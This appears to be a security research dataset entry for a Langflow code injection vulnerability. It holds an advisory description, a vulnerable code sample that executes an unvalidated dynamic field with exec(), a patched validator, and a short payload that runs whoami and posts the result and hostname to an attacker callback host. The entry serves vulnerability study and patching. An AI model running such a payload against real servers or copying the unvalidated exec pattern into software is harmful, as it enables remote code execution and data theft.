CVE-2026-9135
Code injection in Langflow's ToolGuard bypasses security controls for RCE.
- CVSS 9.9
- CWE-94
- Input Validation and Sanitization
- Remote
IBM Langflow OSS 1.0.0 through 1.10.0 Langflow versions up to 1.9.2 (commit 94981c443d4918517b9e8163d70fc598dc33a32d) contain a code injection vulnerability in the Policies component's ToolGuard integration that bypasses the allow_custom_components=false security control. The vulnerability exists because the validation mechanism only checks the main component source code in node_template["code"]["value"] but fails to validate dynamic CodeInput fields that store generated ToolGuard Python files. Attackers can embed malicious Python code in these unvalidated dynamic fields, which are persisted in Flow.data and later executed server-side when a guarded tool is invoked through the ToolGuard runtime. This allows authenticated users with flow creation privileges to achieve arbitrary Python code execution on the backend despite custom component restrictions. The vulnerability can be escalated through cross-tenant flow manipulation via the agentic MCP update_flow_component_field tool, which accepts attacker-controlled user_id parameters, enabling attackers to inject malicious code into victim users' flows. When combined with publicly accessible flows and specific misconfigurations (AUTO_LOGIN=true, NEW_USER_IS_ACTIVE=true), the attack can be conducted with reduced authentication requirements.
- CWE
- CWE-94
- CVSS base score
- 9.9
- Published
- 2026-07-17
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Langflow
- Fixed by upgrading
- Yes
Solution
Upgrade to Langflow version 1.10.1 or later.
Vulnerable code sample
def process_and_execute_component(node, allow_custom_components):
"""
A conceptual representation of the vulnerable logic in Langflow.
It validates the main component code but executes code from an
unvalidated dynamic field associated with the ToolGuard feature.
"""
# The data structure of the node as persisted in the database.
node_template = node.get("data", {}).get("template", {})
# 1. Validation Step: The system checks the main source code field.
# An attacker would ensure this 'code' field contains benign code to pass.
if not allow_custom_components:
main_code = node_template.get("code", {}).get("value", "")
# A simplified check that would be bypassed.
if "import os" in main_code or "subprocess" in main_code:
raise PermissionError("Custom code with sensitive imports is disabled.")
# ... (other application logic) ...
# 2. Execution Step: When the guarded tool is invoked, the system
# retrieves the code to execute.
# THE FLAW: It retrieves the code from a dynamic, unvalidated field,
# not the 'code' field that was previously checked.
try:
# The attacker places their malicious payload in this dynamic field.
unvalidated_code = node_template["dynamic_fields"]["generated_tool_code"]["value"]
# This `exec` call represents the arbitrary code execution on the server.
exec(unvalidated_code, {})
except KeyError:
# This block would not be reached in the exploit scenario,
# as the attacker ensures the vulnerable path is taken.
pass
except Exception:
# The server would handle the exception, but the code has already run.
passPatched code sample
import json
def validate_node_and_generated_code(node_template: dict, allow_custom_components: bool):
"""
Validates all code within a node template, including dynamically generated
fields, to prevent code injection when custom components are disabled.
This function represents the fix for CVE-2026-9135.
"""
if allow_custom_components:
# If custom code is allowed, no validation is needed.
return
# Check the main component source code, which was the only check previously.
main_code = node_template.get("code", {}).get("value")
if main_code and main_code.strip():
raise ValueError("Custom components are disabled, but code was found in the main component body.")
# --- FIX STARTS HERE ---
# The vulnerability existed because the validation below was missing.
# The fix is to iterate through all fields in the template, not just the
# main 'code' block, and validate any field that can contain code.
# Iterate over all fields in the template, which could be dynamic CodeInput fields.
for field_name, field_properties in node_template.items():
if isinstance(field_properties, dict):
# The vulnerability targeted dynamic fields of type 'CodeInput'
# used by ToolGuard. We check any field that might contain code.
is_code_field = field_properties.get("type") in ["CodeInput", "Code"]
if is_code_field:
field_code = field_properties.get("value")
# If there's any code in this dynamic field, it's a violation
# of the 'allow_custom_components=false' policy.
if field_code and field_code.strip():
raise ValueError(
f"Disallowed code found in dynamic field '{field_name}'. "
"Execution is blocked to prevent potential code injection."
)
# --- FIX ENDS HERE ---
# If all checks pass, the node is considered safe.
return TruePayload
import os, requests, subprocess
output = subprocess.check_output('whoami', shell=True).decode('utf-8').strip()
requests.post('https://attacker-callback-server.com/vuln_check', json={'user': output, 'hostname': os.uname()[1]})
Cite this entry
@misc{vaitp:cve20269135,
title = {{Code injection in Langflow's ToolGuard bypasses security controls for RCE.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-9135},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-9135/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
